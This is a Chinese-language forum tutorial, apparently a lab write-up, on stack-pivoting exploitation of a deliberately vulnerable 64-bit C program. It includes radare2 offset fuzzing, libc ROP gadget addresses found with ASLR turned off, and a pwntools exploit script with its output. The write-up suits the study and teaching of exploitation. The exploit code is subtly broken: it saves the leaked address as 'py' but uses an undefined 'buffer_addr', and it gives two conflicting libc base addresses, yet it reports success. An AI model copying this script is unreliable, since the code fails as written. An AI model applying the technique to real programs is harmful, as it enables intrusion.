一个简单实践理解栈空间转移

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看雪论坛作者ID：winsunxs

1 what

stack pivoiting是一种栈空间转移技术。

2 why

有时候缓冲区有长度限制，不利于在栈上配置rop gadget(空间不够)！

3 how

3.1 pop rsp gadget

这种情形比较少见，遇到了相当幸运。

3.2 xchg <reg>, rsp

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

3.3 leave;ret

leave相当于：

mov rsp,rbp
pop rbp

加上ret就等于：

mov rsp,rbp
pop rbp
pop rip

覆盖rbp，然后栈中的rip覆盖为Addr(leave;ret)，当接收数据的函数返回时候，rsp指向target，target新栈中保留了待执行shellcode。

4 漏洞程序 vuln

// gcc source.c -o vuln -no-pie
#include <stdio.h>
 
void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}
 
void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}
 
int main() {
    vuln();
    return 0;
}

4.1 vuln脆弱性

存在输入性栈溢出，buffer大小0x60。

fgets存在输入大小限制，0x80上界。

程序编译保护存在,nx。

─$ checksec --file=./vuln
[*] '/home/kali/exploits/spivot/vuln'
  Arch:     amd64-64-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x400000)

4.2 vuln脆弱性利用目标

rip指向 winner函数，获取winner函数的执行权

4.3 vuln利用步骤

4.3.1 测算rip的偏移

① 生成de bruijn串

└─$ ragg2 -P 200 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA

② fuzz vuln

┌──(kali㉿kali)-[~/exploits/spivot]
└─$ r2 -d -A vuln
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.
[0x7f93b6df79c0]> dc
Try pivoting to: 0x7ffcd3256000
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0

③ 确定rip偏移

[0x004011c5]> dr rbp
0x4169414168414167
[0x004011c5]> wopO `dr rbp`
96

所以，rip的偏移是104 = 96 + 8

④ 猜测栈基本布局

stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |

因为fgets输入长度限制是0x80==128,而且，栈不可执行shellcode，所以，可以覆盖的区域只有 rip，x1，x2 三个变量的地址，且只能用rop gadget方式。

4.3.2 寻找可用gadget

pop rdi

──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary vuln  | grep   'pop rdi'

很不幸，vuln程序中找不到类似pop rdi ｜ pop rsi等指令，只能去libc找一个用用。

libc找gadget的前提是ASLR已经关闭：

──(kali㉿kali)-[~/exploits/spivot]
└─$ cat /proc/sys/kernel/randomize_va_space
0

ROPgadget寻找libc

```

└─$ ldd vuln

linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

┌──(kali㉿kali)-[~/exploits/spivot]

└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16

所以，**POP_RDI = 0x00007f85682b0000 + 0x027725**
 
2. pop rsi

┌──(kali㉿kali)-[~/exploits/spivot]

└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf

所以，**POP_RSI = 0x00007f85682b0000 + 0x028ed9**
 
3. pop rsp

┌──(kali㉿kali)-[~/exploits/spivot]

└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret

所以，**POP_RSP = 0x00007f85682b0000 + 0x0273aa**
 
### 4.3.3 规划栈布局
 
- **old_stack ::= |+00 buffer | +96 rbp |  +104 rip | +112  x1 |  +120 x2 | +128 x3 |**
 
new_stack ::=
 
| 新栈布局     |
|  :---:      |
| +00 POP_RDI         |
| +08 0xdeadbeef   |
| +16 POP_RSI      |
| +24 0xdeadc0de   |
| +32 winner_addr  |
| ...              |
| +104 POP_RSP (rip位置)    |
| +112 Buffer_addr |
 
### 4.3.4 pwntools编写利用代码

from pwn import *

elf = context.binary = ELF('./vuln')

p = process()

获取buffer_addr

p.recvuntil('to: ')
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')

LIBC = 0x00007ffff7dce000
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9

设置payload

payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)

send payload

p.sendline(payload)

print(p.recvline())

### exploit output

└─$ python exploit.py

[] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[] leak buffer addr: 0x7fffffffe280
[] Paused (press any to continue)
b'Great job!\n'
[] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)
```

看雪ID：winsunxs

https://bbs.kanxue.com/user-home-107472.htm

*本文由看雪论坛 winsunxs 原创，转载请注明来自看雪社区

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